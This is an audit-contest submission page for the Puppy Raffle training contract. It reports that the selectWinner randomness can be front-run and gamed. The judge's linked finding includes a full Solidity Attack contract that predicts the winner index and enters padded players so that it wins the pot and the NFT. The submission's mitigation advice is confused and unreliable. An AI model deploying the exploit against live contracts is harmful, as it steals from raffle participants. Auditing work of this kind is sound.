Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

select winner can be front run

comfortnurse021

The selectWinner function is designed to randomly select a winner among the participants. However, being a public function, it is susceptible to front-running attacks. The function uses the following code to select a winner:

function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
​
// Random selection logic
uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
...
}

Impact

  • Manipulation of Results: A malicious actor, especially one with the ability to influence transaction order (like a miner), could exploit this vulnerability to increase their chances of winning. They can do this by ensuring their transaction is the last to be included in a block or by placing their address in a favorable position within the players array.

  • Loss of Fairness: If participants can influence the outcome of the raffle, it undermines the fairness and integrity of the game, leading to a loss of trust among users.

  • Economic Impact: The potential to manipulate results could lead to financial losses for honest participants and unjust gains for the attacker.

Proof of Concept

​

Recommended Mitigation

To mitigate the potential front-running attacks and enhance the security of the PuppyRaffle contract, consider the following recommendations:

  • Implement Transaction ordering dependence (TOD) to prevent front-running attacks. This can be achieved by applying time locks in which participants can only call the refund function after a certain period of time has passed since the selectWinner function was called. This would prevent attackers from front-running the selectWinner function and calling the refund function before the legitimate winner is selected

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 2 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

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